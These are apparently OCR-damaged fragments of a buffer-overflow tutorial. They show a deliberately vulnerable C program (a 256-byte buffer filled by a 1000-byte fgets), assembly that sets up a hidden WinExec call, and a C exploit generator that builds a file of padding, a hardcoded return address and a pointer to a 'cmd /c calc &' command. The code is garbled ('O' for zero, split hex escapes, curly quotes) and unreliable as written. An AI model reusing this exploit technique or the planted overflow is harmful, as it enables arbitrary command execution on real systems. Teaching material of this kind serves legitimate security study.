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"PUSHed onto the stack"

WinExec(command,SW_HIDE);

mov eax, O // Move into the eax register SW_HIDE
push eax // push this onto the stack
lea eax, [ebp-8] // load the effective address of the command into eax
push eax /1 push this onto the stack
call WinExec // call the function
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C overrun.exe

#include <stdio.h>

int main ()

{

char buffer[256]="";

FILE *fd=NULL;

fd = fopen(“file.txt","rb");

if(fd == NULL)

return printf("Couldn't open file.txt for reading\ n");
fgets(buffer,1000,fd);

return O;

}
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#include <stdio.h>

int main()

{

char buffer[500]="cmd /c calc &
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAABBBB";

char sraddress[8]="\ xXAF\ xA7\ XE9\ x77";

char padding[8]="\ x90\ x90\ x90\ x90";

char pointer_to_command[8]="\ x70\ x51\ x2F\ x00";

FILE *fd=NULL;

fd = fopen(“file.txt","w+");

strcat(buffer,sraddress);

strcat(buffer,padding);

strcat(buffer,pointer_to_command);

fprintf(fd,"%s",buffer);

fclose(fd);
return O;
}
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